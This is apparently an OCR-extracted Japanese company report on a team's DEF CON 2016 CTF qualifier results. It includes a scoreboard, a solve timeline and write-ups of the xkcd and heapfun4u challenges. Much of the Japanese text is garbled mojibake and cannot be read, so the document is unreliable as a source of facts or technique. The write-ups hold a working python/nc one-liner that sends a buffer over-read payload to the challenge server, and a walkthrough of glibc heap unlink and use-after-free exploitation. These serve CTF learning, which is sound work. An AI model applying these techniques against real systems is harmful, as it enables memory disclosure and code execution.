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DEF CON Capture the Flag 2016
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ualifiers this weekend! Register and play!
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2.1 DEFCON CTF [cDWT

TE, YA/ (- (CHITDBE/EFI VT BEDOBEENMELTVET . ZDIEHD
AZBRH T 2FEREVTEEZESH TLDDON. TF1 VT« (CEHTDIRENRKEE. DF
DI\Y D—HKifiE#m DD I>FT AT, €5 LEO2FT X MECTF (Capture the
Flag) &IF(EN. F—ARDOFHRE E U THRZMTHRESNTNET,
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F9,
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DEA - FRTFZITO>TVET,
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SHEF. TF1 VT ERZRHEUTVBNTTIAEF2US v, BFa2UFT(ICATD
SR IRATR (CERDFBATWBNTTEF 27T S b I A —LAKRZIECSH. NTTI)L
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TISUFTHARE(CHIZTEFRLR) »

FIEESPEDFR(E. WebD A b ECRIBENRERSN. F—AZ ECHREZIRATDIRY
AINZEEDTVWET, PRARUBDDIOAXEE [1/)\5« | | ZIEUEERT, 6DD v
2IUCDNWTA01IEmNEIDHTONTEEZRRBEICHRE L TVEE T, (FUDNSITRTORE
NA=T>ENTVBIDIF TR, A=—T>ENTVIBBEZENENICR U T, RYICHE
BUREF—LNRICA-T>I2EBZEIRTEEI, (A—T> UBERMDF—LE
R CENFIREICIRDFRT) FESFER BEENENCHULT, EBEULZF—LNAE LR
NERBFEBLRNBRD U TOWKERXZEHALTWELUZ, DFD. MDF—LANERITRN
#HUWRBEZRITE—RICEERZES TETIMHMAAL/EODTVET, H(C. HEQRHRET
HNEENSMDF —LZRNTUEDEH. B<LEBLZEUTEREITRD L TVWEFET,

RETDICF. BEXZELGEZITOHAETITOI S LZIED EIFRRAFIL, HiE
SN0 S LDMSEMZRDIFTTREET I ANBERENE T F—LADAEFIRE
HOFTFEAN. FHERRBIEII 2 BRE. 5T 48 BKEICED 8. A THAREZED DDREIE(C
FrL>2TUFET,
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SEFIF—LFERLE 4 BBoSimERRD.,. EebFiINnTEcxulz. F—ALAEULT
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BZE 3 EIOS#EE K. [BEREBERGBRETF—AE LV TEINTETILISEEERE
e UT. REES NTT PRHELE> S (RREFAMTH) HhonSiéUELUZ. 25E
UDORA> MIATFDESDTT,

48 HEAAR—RZE5B8TED L
BELEA > -2y MRENGD D &
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D IN—TD T 7Z2ER/UE LIz, TIL—TDT 7 FSEETARDX Live ZEHAL
FUJz. TR TZHEEZ RO TNDIDIF TR, ALy RERIEEE. T 7 1 )LHBEHKEE
B, F—LAZ)MEWVBENTNSEWDSZETEALFE U A>SA>2A/)NED
Fwam/C T TR, SETIAABDM D TNT, EARRENSDONRIFEZRL THZE
T. BFENSENMULATEEE(CEMUYP I KR ENDIRTERKICIIEF U

B

RIBEUTEIEBLIEDE. BOBRETY ., SEE [HULWAMEE] &L THEREUE
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HEHOURHNSHERFEME TEI EHIC(E. COBRBMIANEEZZF UL,

3 DLIPEETENY 5T

—73C. 1 ATERUZVWAPREHEESHDET. €T, BIOSEC [BA4EE] Z=H
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Bl TEFIDAN WADEBEZITESRKI DA WBWBSREIALTDANNELZ. RAEK
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EFANDAS (BLE3<D)
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A4/3 D + IR—ILRZZE (RN D ARH)

IRDOA FR— R

TAVS

Jxv hrawvsa

Ry b
d—b—X—H—+ —E—H\ I« + I-t—F (RJEEHMA)

NTT Communications Corporation g
1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo MT T Communications Elﬂf’tﬁ,‘elﬂhﬂﬂfﬂﬁf
100-8019, Japan T




10

4 A>FT A AT

FANSHEUME < BREFERCIRD EFHRMNMBYBTIN, FRRFERah SHic &
AN\ =NER-LU. BFBBICLDIEMERMRIETST, 58 21 BFE19 K (HARERH)
DWCRASY—RUE U,

6:FBHH/ET [LED] Bl

HEEINSMEEE. [Baby's First] [Coding Challenges] [See Gee Seal
[Pwnable] [Reverse Engineering] [There I Fixed It] &UL\S 6 DD 2 ILICHT
TS5 XEN. EFITDIERBEMMEENET,

SENSHECHA/I\—TJ5> RFv L > (Cyber Grand Challenge) EE5#ULLY
Sy ILWEBLUEUE. [See Gee Seal (FCDIEXF CGCZELUDZBMDTT,

Flz. BEULGEORBEERECICU TERMEHTDIL DRI AT AICEESN
THED., EEED Twitter (CERBZBESHITRTNEIESNTADIENDIYA— B D,

EEREZE S T TR EALISITHRVWS EA DN RET,
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2 JA40-93

Yes, this means your score will fall as the game
goes on, unless you continue solving
challenges.

nnnnnn e e EBH 218

dacourse 2HL10

David @ _d )
@LegitBS_CTF hahal That's where | have you! Can't go below zero. Can it?

7 BEZBESHEIIRVEERNTAS ?

wixFEMN 5K 1 K. Team Enu BEF(C 1 HBZRBEURBZESLEILEZ. LM
L. ZNEINHSVIZT SEEZFEESHITIRINERSRROEEDIRED TESHDET,

2016/5/21 10:37:05 >private< 46:20:43
Your teammate - = solved baby-re [Baby's First] for 1 points. BambooFox 249
2016/5/21 9:00:00 <global> DEFKOR 849
Welcome to DEF CON Capture the Flag Qualifiers. - Shellphish 616
! 4 binja 478
Babv's Fi ISpamAndHex 478
apy's First PPP 478
W 138 baby-re Selved 2 minutes ago disekt 372
Wl 234 easy-prasky Lights Out 340
Il 436 feedme Samurai 340
Il 346 heapfun4u Full Metal Cyber 244
I 106 xked ascii overflow 244
a teambob 244
Codmg Ch alleng e . TokyoWesterns with AST 244
ipjgg ::3123;1 « Hot stuff! Solve this for scoreboard control. M. T i B et P mrin. B playhash 244
ocke int3pids 244
See Gee Seq KaisHack GoN 244
d 244
W 436 locked Gﬂll‘a lod -
M 436 locked a .OPS ©
B 436 locked Registered Hex Offenders 234
W 436 locked Team Enu 138
B 435 locked Peterpen 138
Wl 436 locked jr.Reverselab 138
W 436 locked TowerQfC0OOkies 138
M 436 locked xSTF 138
Il 436 locked ALLES! 138
M 436 locked

8: FJ(F 1 HEZMEL 138 R

(& BEEH. B0 KBS, B HRSNTURVRERE, X RY)ICIEREY D CIROBEDRIIERS)

NTT Communications Corporation
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513 (C 1 BBZFEVZ X K. SHCIT<HIICRTHEEZR TLEL. RHNSHSNR
IO TULFRWFEUZ. TDFFEET 2 HES,

g baby-re @ easy-prasky
Get to reversing. http://download.quals.shallweplayaga.me/335e35448b30ce7697fbb036cce45e34/eas
baby-re (17 KB ) [§

easy-prasky_335e35448b30ce7697fbb036cce45e34.quals.shallweplayaga.me: 10001

1 2016/5/21(1) 10:3

HERIIC T NH TSRS TR SHSNR RO 5 VELT, N 20182020 B) 1137,
82141-ATSHSEMET, BECOO>TESETZ. DA\ FEHSEIVRL - - -

-x1:~/defcon2016quals/easy-prasky/easy-prasky-with-buffalo-o
. prasky_335e35448b30ce7697fbb036cce45e34.quals.shallweplayaga.me 1000
e send your crash string as base64, followed by a newline
— easy-prasky-with-buffalo-on-bing
The flag is: I believe ghosts are like dogs and they just sort of do things arbitrg

&Z : Math is hard!

9: INMBHESNIZVWXEK (SHhomMNEI>TEDZDIC: -+ +)

#HE(FEI(C Baby's First] OEREZFULCNECAESIBOE LN, AT v IV
2 +stripped 72 [Pwnable] YIENIRLETI=+ > )LD CGC (Cyber Grand Challenge) (C
FziE, 1 HER TR CT4BOHERET DERELDE LR,

frE B DA EileE]
2016/5/21 10:37 |Baby's First baby-re
2016/5/21 11:37 |Baby's First easy-prasky
2016/5/21 13:10 |Baby's First xkecd
2016/5/21 21:39 | Baby's First feedme

10 : 21 HR TR TOFER

2 HEERHI RO REZEET I LN TESITESLELEN JIL—TIT7PEE
KREZBEUTCEBRHEBZH TSR E, A/ (- TERCERBNIZNDSNDIENTEEH
DROT AT« THEFENE T,

NTT Communications Corporation g
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X 11:

HNIXTHRE S DERF

frE BB >v 2L il
2016/5/21 10:37 | Baby's First baby-re
2016/5/21 11:37 |Baby's First easy-prasky
2016/5/21 13:10 | Baby's First xked
2016/5/21 21:39 |Baby's First feedme
2016/5/22 4:06 Baby's First heapfun4u
2016/5/22 15:47 | Pwnable kiss
2016/5/22 19:54 | Coding Challenges | crippled

X 12:

1 HE(C 4R, 2 BEIC 3 E%=f

73 Fot
iy
=

22 B T HFRF R COFER

IBDEED LD (CRHRIEBNMERURVVEN B AHZED

NDERREICZZEA, TOEET [Team Enul (& 393 22T 60 4L,

NTT Communications Corporation

1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo

100-8019, Japan
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MDOF—ABBEEHEZTEBL LT3N, [Team Enul XS <K CGC DEEAZ DO
ATEA)N— 3 BFEIT 5 BEREEITDIRE, BEDBV LIS, 23 B 3 BEORSTIE
930 mEEBULASNE TSV 2T 7V ITIFBREICHKRIIULE U,

RERVPRSE, KEZIRDIGNSEBS A MR/— MR FIH, BTRREMED(ED
TUESHIREULENEFRA. BTFETHE 1 BHFENDETATREZEML. DL
1000 Rz LU FE LN, SEDIL—ILTERBNEET DD, REN(C(X 988 Mz
&S, 46 fUEV\VDRIECLE. REBISER TDEDZED !

42  Full Metal Cyber 1155 about 5 hours ago / 2016-05-22 18:37:32 UTC
43 CaptureTheSwag 1059 about 4 hours ago / 2016-05-22 19:33:28 UTC
44  BabyPhD 1033 about 5 hours ago / 2016-05-22 18:44:21 UTC
45  FlappyPig 1028 about 4 hours ago / 2016-05-22 19:45:40 UTC
46 Team Enu 988 about 2 hours ago / 2016-05-22 22:24:41 UTC
47 Bushwhackers 982 about 5 hours ago / 2016-05-22 18:39:17 UTC
48 BAMS 933 about 1 hour ago /2016-05-22 23:00:36 UTC
49  NeSE 898 about 7 hours ago / 2016-05-22 16:35:54 UTC
50 Bah Humbug 854 about 18 hours ago / 2016-05-22 05:41:07 UTC

13 : EH&HEER(L 46 U

ARE RS >v )b feled

2016/5/21 10:37 | Baby's First baby-re

2016/5/21 11:37 | Baby's First easy-prasky

2016/5/21 13:10 | Baby's First xked

2016/5/21 21:39 | Baby's First feedme

2016/5/22 4:06 Baby's First heapfun4u

2016/5/22 15:47 | Pwnable kiss

2016/5/22 19:54 | Coding Challenges crippled

2016/5/23 0:32 | See Gee Sea LEGIT_00001

2016/5/23 1:00 | Reverse Engineering | step

2016/5/23 1:31 | See Gee Sea LEGIT_00001_patch

2016/5/23 2:06 | See Gee Sea LEGIT_00002_patch
T?—rl—f(}: (iJncqr?iqsua?\I/\faa it—lc?k?(f,ccor:i[i/%?at I—CI):J, Tokyo ﬂTTCommunic;tions E]ﬂf’ﬁlﬂglbﬂa&fﬁif

100-8019, Japan B



2016/5/23 2:46 | Reverse Engineering

amadhj

2016/5/23 5:51 | See Gee Sea

LEGIT_00002

2016/5/23 7:24 | See Gee Sea

LEGIT_00003

14 : ERASHEER 14 fEIf%

ol
[==]

2016/5/23 8:59:59 <global> Game Over

Thanks and congratulations for another great year of @defcon CTF qualifiers! PPP 3464

2016/5/23 8:58:59 <global> EERROR Sl

ONE MINUTE! GET THOSE SOLVES IN FOR @DEFCON CTF QUALS 2016 SETILEL k=
9447 2913
KaisHack GoN 2759

Baby's First e 2L

I 24 baby-re Soived 2 days ago et 2R

Il 37 easy-prasky Solved 2 days ago HuzllFaes 25

Il 57 feedme Solved 1 day ago IDragon Sector 2685

Il 53 heapfundu Solved 1 day ago & P TR i

W 21 xked Solved 2 days ago FEAETES 2l
Lamest Tea Sets 2546

Coding Challenges ap 2424

W11 b3s23 playhash 2356

Il 54 crippled Solved about 13 hours ago BambooFox 2089
Eat Sleep Pwn Repeat 2071
int3pids 2020

See Gee Sea "
DERPA 2003

Il 69 LEGIT 00003 Solved a_ﬂour2hoursago 0daysober 1994

M 62 LEGIT 00003 patched Solved about 6 hours ago Zeal 1988

W 80334 cuts teambob 1954

I BO LEGIT 00001 Solved about 9 hours ago CodeRed 1924

=g§ ;E(ﬁi T ?ccm patch Solved about 8 hours age Gallopsled 1917

cuts
P— PwnThyBytes 1764

[l B8 LEGIT 00002 Solved about 3 hours ago CLGT-JEZEJWH 1679

Il 73 LEGIT 00002 patch Solved about 7 hours ago eamiEnn 988

Il 85 1000 cuts

Il 150 LEGIT 00004

Il B& LEGIT 00004 patch

Pwnable

Il 88 banker

Il 111 kiss Solved about 17 hours ago

Il 116 pillpusher

Il 304 easier

214 glados

Il 165 justintime

Reverse Engineering

106 time sink

Il B5 step Solfved about 8 hours ago

W 96 amadhj Sofved about 6 hours ago

There | Fixed It

Il 170 badger

Il 124 int3rupt

183 crunchtime

Il 401 secrfrevenge

15 |/ XO7/R— K
NTT Communications Corporation o Global ICT Partner
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5 REIREfAFER

REIC, A>T AN TERICEHBESNIZW DO DREICDWLT [Team Enul OFEEE
MR UE T, CCICRELIETOTSLAYIR RE. I>FR MNMEICEESAICREL
BDZEHET. AT ABRCAHAWCEDEFA—TRUMEENSD D, FEEERCHESN
TERIBDEE E (FEIRDEDN D DIHZEN D DFRI DT THELSIZE,

fRER 1
Baby’s First [xkcd] (21/) ##Z&E& : NTTOALEF1 U+ kH S5

fiRER2
Baby’s First [heapfun4u] (53m:) f#&E : NTTOATF1 U+ BlF SIE

RN 3
Baby'’s First [feedmel (57)) ##&& :NTTIAD I BEH mAEA

fiRERA
Coding Challenges lcrippled] (64mR) &%  NTTJAF21 U5+ TH K

fRER5
Reverse Engineering [step] (85m) f#&&E (NTTO=1”=45—>3>X

fi#ER6
Reverse Engineering [amadhj] (96s2)
REE NTTEF217TS5 v hTJ A — LRFRFR 188 &K

fiRER7
See Gea Sea [LEGIT_00002] (88=)
REE  NTTEF27TS v NT A — LRFPT S 5%

NTT Communications Corporation o
1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo MT T Communications Elﬂf’tﬁ,‘elﬂhﬂﬂfﬂﬁf
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fi#E% 1 : Baby’s First xkcd] (21 &)
fREE CNTTIOAtEFa1 VU5 a kH 1534

i)

http://download.quals.shallweplayaga.me/be4bf26fcb93f9ab8aal193efaad31c3b/xkcd

xkcd_be4bf26fcb93f9ab8aal93efaad31c3b.quals.shallweplayaga.me: 1354

Might want to read that comic as well... 1354

fi#

ﬁll

Baby’s First @ 5 B "xkcd" DR T I . xkcd (FS[ElD DEFCON TaRH% < DF — LAWBRIT1ZMH
BTY, BT CUEXEIERICHERMETU.

EDHBRIYI>O-RULEINAFUZEITLUTHET,

$ ./xked

Could not open the flag.

flag MRITIRVWERSNTUERWE U, €T, BAC3ELTVWB I 7A1)L&% strace ON >
REFEO> TIHELTHET.

$ strace ./xkcd
execve("./xkcd", ["./xkcd"], [/* 77 vars */]) =0

uname({sys="Linux", node="ubuntu", ...}) =0

brk(0) = 0xd86000
brk(0xd871c0) = 0xd871c0
arch_prctl(ARCH_SET_FS, 0xd86880) =0

readlink("/proc/self/exe", "/home/nagai/ctf/defcon/xkcd", 4096) = 27

NTT Communications Corporation g

. . Global ICT Part
1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo MT T Communications mnﬂn‘?},e_ Rmmf‘;ﬂﬁ:
100-8019, Japan T



http://download.quals.shallweplayaga.me/be4bf26fcb93f9ab8aa193efaad31c3b/xkcd

brk(0Oxda81c0)
brk(0xda9000)

= Oxda81c0
= 0xda9000

access("/etc/ld.so.nohwcap", F_OK) -1 ENOENT (No such file or di
open("flag", O_RDONLY)

write(1, "Could not open the flag.", 24Could not open the flag.) = 24
write(1, "¥n", 1
)

exit_group(-1)

+++ exited with 255 +++

1 ENOENT (No such file or directory)

rectory)

open M5|EMS. ESPSHISELTWVWBIT7AILAFZEDEF flag" T
UTz. flag 7 AILZIERR L. ES—EXRITIDE. TNELTENTEFT,

===

EAT

BTENOMDFE

$ echo FLAG_TEST > flag
$ ./xkcd
AAAA

MALFORMED REQUEST

flag D7 AL > b5« LI NJUICHBDIRET/I\AFUZRITITDE. ANFEIRECRD.

BHRNFH)Z AT D & MALFORMED REQUEST EWDXFHRD> TEF U,

BL EANFS

ZHUTHFEULH, BZRMNSERAXFIKREN/ (Y T 7 A—/\-TJO-KRBEEFHIHNLELEATL

feo TTT. IDAPro 2> T TUERFRDCEICUELUE,

[rbptvar_28], rax

rax, [rbovvar_28]

esi, offset aServerfireVouSt
rdi, rax

sub_400200

eax, eax
short loc 401068

o
mow
mow
mow
call
test
iz

; "SERVER, ARE YOU STILL THERE™

¥

4

lall i 5= o e 5=
now edi, offset aMalformedieaue ; “MALFORMED RECLEST™
call puts loc_401068: I
mov edi, OFFFFFFFFR mov esi, offset asc_487E34
call axit mav edi,

maw eax, [

cal | strick

cdae

[rbetvar_23], rax
rax, [rbe+var_28]

Moy
Moy

maw esi, offeet alfScReply ; 7 IF 50, REFLY 7
mov rdi, rax
call sub_400200
test eax, eax
iz short loc_401048
A 4 4
ll [ il e =]
maw edi, offset aMalformedReque : "MALFORMED REQLEST™
cal | puts loc_401048B: .
maw edi, OFFFFFFFFH mow esi, offset asc 487E34
cal | exit mow edi, 0
mow eax, [
call striok
cdae
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INAFURLEHDOLS CHOMDOPTMEEZLTED. UTFOXISREFZL TS ENDMND
FU.

flag MRAIFRIFNUE Could not open the flag. #FR R U THET

flag HBAIFNUE. 0x6B7540 DAIEIC flag DB ZFHAHAD

fgetin ZfE> TANZZ(FHTD

strtok Z{E> CTANNXFINZDEI VRN SERIRL. AHNXFFIA [SERVER, ARE YOU STILL
THERE? IF SO, REPLY "EFEXFI" (#HME)] OKDRTA—X v hTRITNE
MALFORMED REQUEST ZZRU THET (ALh > CDBER (FEF TIEZE > TLWUE OK)
o [MEEXFS] OEP9D% memcpy Z{F> T 0x6B7340 DAIBATIE—

0x6B7340 OXFF(Cx L. LD [#E] BFEEOXFZRILXFICEE

0x6B7340 OXFIDEEH THYE] KDEBREIFNUE NICE TRY ZFRRU THET

TS TRIFINUE puts T 0x6B7340 DABFEFRRL. 3.NRD

> W N=

® N O U

7.0BMEICEKD. [EEXFH] OEEL LD [#4E] (& NICE TRY £R2>TUEDSH. k&S
DIMB(F—RITDETNNENLDICEZXET. UHU. flag DIEFRAIEN memcpy DIE—5ED
0x200 /X1 REICHD T E. BRU 5. DR T(E memepy DIE —EICRILXFNEA N2
eSS, Ny I7A—)\—U—RZ5|ESRIITENTEFT,

BAER(CE. 5&DE 0x200 /81 My DOXFIZE [ERXFS] OEDIC5XDZ LT, flagd
5DV RLAFTRILXFN 1 DERVRRZEH LT ZENTE. ZORBR. 7.00IET
0x6B7340 OXFIDE=M ( MEEXFII] + flag) DESEHESNDZLICRDFT, I,

[#fE] &UT ( MERXFH] + flag) DRSFTEEI LN TRELRD. 8.T ( [EEXF
5] + flag) ZRIRSEDTENTEFT.

HElF [EE] DEFD%Z 0200 + flag DXFEICIRD LD (CHREI T DEITTT . REIICEUT
DIAX> RTflag ZEIS I D EMNTEH U,

NTT Communications Corporation g—
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$ python -c 'print "SERVER, ARE YOU STILL THERE? IF SO, REPLY ¥"" + "A"*512 4+ "
¥" (541)"" | nc xkcd_bedbf26fcb93f9ab8aal93efaad31c3b.quals.shallweplayaga.me 13
54
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAATHe flag is: bl33ding h34rt5

MALFORMED REQUEST

REBRHKTIN. COMREDS 1 ML xked (F. xked E0LVD Web O=w B ~Z OpenSSL D
eSS T3S Heartbleed ZEiA T D2EMMER NI ENBRIZEBONE T,
(https://xkcd.com/1354/) Heartbleed (&/\w I 7 A—/)\—U—RCKDEDTHD. xkcd (CIBF
SNIZEE CTESEIDANETEH S SERVER, ARE YOU STILL THERE? WS TEU IAEIZ L TLY
F9,
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https://xkcd.com/1354/

fi#g% 2 - Baby’s First Theapfun4u)] (53 /&)
REE NTTOLALF 2V Bl JEiE

ERE

Guess what, it is a heap bug.

heapfun4u_873c6d81dd688c9057d5b229cf80579e.quals.shallweplayaga.me:3957

fi#

RIRESX T(E. "Guess what, it is a heap bug”&WSXEE EE(C, BEY—/ND URL &5 —/C
TEBWTWBERMINBINAFTU T 7AILDF T2 00— RUSIONEH INTVET. £DHZIT
—ILTTOISLZEBUTCHET ., D& 5 DDERENKRDSNET .

#./heapfundu
[Alllocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit

|

heapfun4u EWVSRIERD T, ZNETN
[A] : XEUMER

[F] : XEUREL

[W]: BEERUTZAEY (CESIAH

[N] : IREFRTAREA

[E]: TOJSLET

ERONF T, ERICENTNHUCEREIUATOESDTY,
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#./heapfundu
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit

|A

Size: 32
[A]llocate Buffer
[Flree Buffer
[W]rite Buffer
[N]ice guy
[E]xit

| A

Size: 64
[A]llocate Buffer
[Flree Buffer
[W]rite Buffer
[N]ice guy
[E]xit

| A

Size: 96
[A]llocate Buffer
[Flree Buffer
[W]rite Buffer
[N]ice guy
[E]xit

| A

Size: 32
[A]llocate Buffer
[F]ree Buffer

NTT Communications Corporation g
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[W]rite Buffer

[N]ice guy

[E]xit

| F

1) Ox7ffff7ff7008 -- 32
2) Ox7ffff7ff7030 -- 64
3) Ox7ffff7ff7078 -- 96
4) 0x7ffff7ff70e0 -- 32
Index: 1

[Alllocate Buffer
[F]ree Buffer

[W]rite Buffer

[Nlice guy

[E]xit

| W

1) Ox7ffff7ff7008 -- 32
2) Ox7ffff7ff7030 -- 64
3) Ox7ffff7ff7078 -- 96
4) Ox7ffff7ff70e0 -- 32
Write where: 2

Write what: AAA
[Alllocate Buffer
[F]ree Buffer

[W]rite Buffer

[N]ice guy

[E]xit

[ N

Here you go: Ox7fffffffelbc
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[AJ&EIRT D LRI DAEIT AKX (Size:) WRkDESNFT . Fio. [FI@&ERIDE, REF
RCHEREN TS/ T7 EZNTND/\Y T 7 BAXNKRRESNIZH & EOMBERFNT DD
M (Index:) AskdSNFET. TUT. [W]ZEIRIDE. [FIEERR/ VY T 7 DEFRIKANTR RS
Nz s, ECICESZADDON (Write where:) . AIZEEIALDH (Write what:) Hkebohn
FUI,

L DBITIE Allocatex4 (32bytes, 64bytes, 96bytes, 32bytes), Free (1 FEEDEL), Write (2
EHEDMEE), Free (3 HBEDnEE), Nice guy LTLET,

Tl BIROANIEZERITUIRRET. Ox7ffff7ff7000 K5 0x100 /\A hERRESETHET . Free
T1,3EEOMEE (UT. FroO&Hs) ZF#BRLUTVSZE(SEFRLTTRELY,

Ox7ffff7ff7000

Ox7ffff7ff7010):
Ox7ffff7ff7020):

: 0x00000022 0x00000000 0x00000000 0x00000000
0x00000000 0x00000000 0xf7ff7100 OxO0007fff

0xf7ff7070 0x00007fffl 0Ox0O0000043 0x00000000

Ox7ffff7ff7030):
Ox7ffff7ff7040|:
Ox7ffff7ff7050):
Ox7ffff7ff7060):

0x0a414141 0x00000000 0x00000000 0x00000000
0x00000000 0x00000000 0x00000000 0x00000000
0x00000000 0x00000000 0x00000000 0x00000000
0x00000000 0x00000000 0x00000000 0x00000000

Ox7ffff7ff7070):
Ox7ffff7ff7080):
Ox7ffff7ff7090):
Ox7ffff7ff70a0|:
Ox7ffff7ff70bO0|:

Ox7ffff7ff70c0

Ox7ffff7ff70dO:

0x00000062 0x00000000 0x00000000 0x00000000
0x00000000 0x00000000 0x00000000 0x00000000
0x00000000 0x00000000 0x00000000 0x00000000
0x00000000 0x00000000 0x00000000 0x00000000
0x00000000 0x00000000 0x00000000 0x00000000
0x00000000 0x00000000 0xf7ff7000 Ox00007fff

0x00000000 0x00000000{0x00000023 0x00000000

Ox7ffff7ff70e0y:

Ox7ffff7ff70f0
Ox7ffff7ff7100

0x00000000 0x00000000 0x00000000 0x00000000
0x00000000 0x00000000 0x00000000 0x00000000
: 0x00000ef8 0x00000000 0x00000000 0x00000000

NTT Communications Corporation ——
1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo NI'T T Communications
100-8019, Japan T

Global ICT Partner

Innovative. Reliable. Seamless.




Index: 2 ([CASILEF—4 (AAA¥N) [F[FIC[WITERSND EHD. Ox7ff7f7030 ([CRFS
NTWET, €D 8bytes FaID Ox7ffff7ff7028 (C(F 0x43. & I 3bit Z#HEH I D& 0x40 T
D. IRUIZ 64bytes E—EUZFE T, EHRIC. Index:1 DFHI 8bytes THD Ox7ffff7ff7000 (&
0x22 T M 3bit Z#IRE I D& 0x20 &0, HERUTZ 32bytes &—FULET. DFED. glibc
D heap BIE S EHE. SEIBEER T D EEBEICA\ WA HEE 8bytes ZIX TF v >IN RSN, £
CIEEFvODFT—FEROYA XIEMENE T, =TI 3bit (FBEEDOC—-TEELERK. F
v ODBEERIET DHITENONDTND EBONET . RFICRTAL 1bit (F. Index:1 (£ 0 T.
Index:2 (1 THDZENS., BRIEHTHNE 0. KERTHNE 1 THDZENMDOMNDFET,

B ENTZ Index:1,3 DF v > IDT—FEDHUD(C(FE. BRILRWLT—4H 16bytes A
DTCWBCEICRDEFET.

INEglibc DE—TEE LR BRENEF v > OZ2EBRITDILHDOBHREBEONET, £—
TTE BRENZFv>o oI —UX MERENDIRAE) > IV hTEBENET., Fr>
ORI END U —UX MaEMEn, RAmJ > (forward U> 2, backward U>72) A
Fv 2 ODT—IECHEINSNE T . glibc TIEFRAMEMY > TIRA 2B (IAY S EHD T SEICED
N30T, MILISEWISDEITHN, BBTN glibc DE—TF EEEDT—FHEEZ L TNDBLDT
Y, STECTHNOIE—TDERAEZANIROREBZHCELEDDE. ROBDKSICRDET,
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1:A8FH

(R TAI3bitA4t)
data size 0:f2H
JU—DUX
| .
Ox7ffff7ff7000 T backwardl) >,47
> o (B o TJU—JZ
X (& FL3bit)0 1@ — forward 27

Ox7ffff7ff7100

Ox7ffff7ff7070
Ox7ffff7ff7028

Ox7ffff7ff7070
>

Ox7ffff7ff7000

NULL
Ox7ffff7ff70d0

Ox7ffff7ff7100

> N

NMBEE-TER(CHITDTY—UX hOAHEHCDWTERIAHN S D &

> T 21 (BRR)

> F 2

> Fv >3 (RINT)

> F >4

FRATIN VR D £

(C72DFET. MSRALKTERBRRRITIEIN, AA—HDESPIRDIERIDT, HHCHRL

ia_o

TU=URANCHDFr o> BEDFRMAZB/IEITETI—UXMSHRIENETT . TDIR,
BAEY 2 DZRDEH. U IDDREWMANEELFT T, DRI OHEAHIUATDES DT

a_o
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free chunk n-1

data size

backward

forward

27

free chunk n

data size

backward

forward

free chunk n+1

data size

backward

forward

NTT Communications Corporation
1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo
100-8019, Japan

unlink

free chunk n

free chunk n-1

data size

backward

forward

free chunk n

...-I-l-l.-l-llll-l-l-l..

[ ]
: T
,: data size :
B ieicernsannan . [ ]
| ] | |
| | | |
: ----------------------------- .
i backward :
| | -
] ]
E forward u
: ‘."l"."l"."l".‘

free chunk n+1

data size

backward

forward

Global ICT Partner
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FEICHNT. free chunk n Z target EUTZEE. target Z U —U X MOSERING DTzsbICIU
TOWNIENTONET .
i. target->backward + (target->backward->data size) (C target->forward Z1&fh
% DZFED chunk n-1 -> forward (C chunk n+1 D77 RL X Z4&HN
ii. target->forward + (target->forward->data size - 8) (C target->backward Z&fH
% DFED chunk n+1 -> backward (C chunk n-1 M7 RL X %48

EFIAHTT RLAW0iEM I BMEN. target d forward 12 backward U> 2O DIETH Bz, T=&
ZIE. .DAIR(CHUT, target->backward (CEEFAHTE)” RL- X, target->forward (CEZIAL
BEEANTBITE. FEDT RLANDERDEDEZTIAHNAIREERDET,

X ERR(Z target->backward (CEERTE U7 RLXIC. ZDV RLRICE SN EZ X IEDM
EZAHFTT RLRAERDDT, target->backward DIRKE(CIVUIENMBETY,

U tZEFEX. UTD 2 DOFENRDOMNE, ERDT RLA(ICERDEZESTAL Z LN EIEE
THDIZEMDMDFELUE.

©® TJYU-UXBMIBUTWSFVv>2IODRAMEIZDDEZ LEEEID

@ JYU—UXMDSERBDFv 2 IZFRINTD

TNENDOERAECDOVWTHRET LU THELU.

© JYU-UXBMIBULTWSFVY>ODRAEEI>DODEZ LES
FI. [WITE[FITEBULETORBEESTIAHXE U TR RSN TVDZLICRMMEFT.
ZHUIC, BREUE T OEBZIEELESTIAAZITOE. ESIAHCHINULET. LWDODD
use-after-free OMESSIE(CK D, WAMU > IDIEZ LESTESD I EMDOMDFLU.
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@ JYU—UXMDSERDF v IZFRNTD

TU—URX M SF v IR SNDIRMGEEETSFzHOFIN, SEFIRNTOFv>U
ZEDTHEICTE DD, UTOFIEMNETUE.

1. BdFv20MDF v I ERBRRDIY A XTHR

2. 1. THRUEF v > OZBRK

3. 2. THWRMURBAXERUYA XZHCHERIDE. TJU—UXMS 2. TERRULEF

v OMNNEEN. BEIDHTEND

BEMMI> D" FEESTDIF V2 IODBAX2MOF v 2 OKDRERIZ—DIIMECLTSH
F(E #F7z(C[Alllocate TBRICTU—URX M SEIDEET ZEMNTE. TU-UXBDERE

NAPEELET.

LT, EDOF RLAICAIZEZTADHZERXF T,

FI. FYORNTIO— RETHENEDNHEE T D/, strace ZERITLTCHEFT . FEREFUT

DEHDTY,

write(1, "[N]ice guy", 10[N]ice guy)
write(1, "¥n", 1
) =1

write(1, "¥n", 1

) =1

write(1, "| ", 2| ) =2
read(0, A

"A¥n", 255) =2

read(0, 32
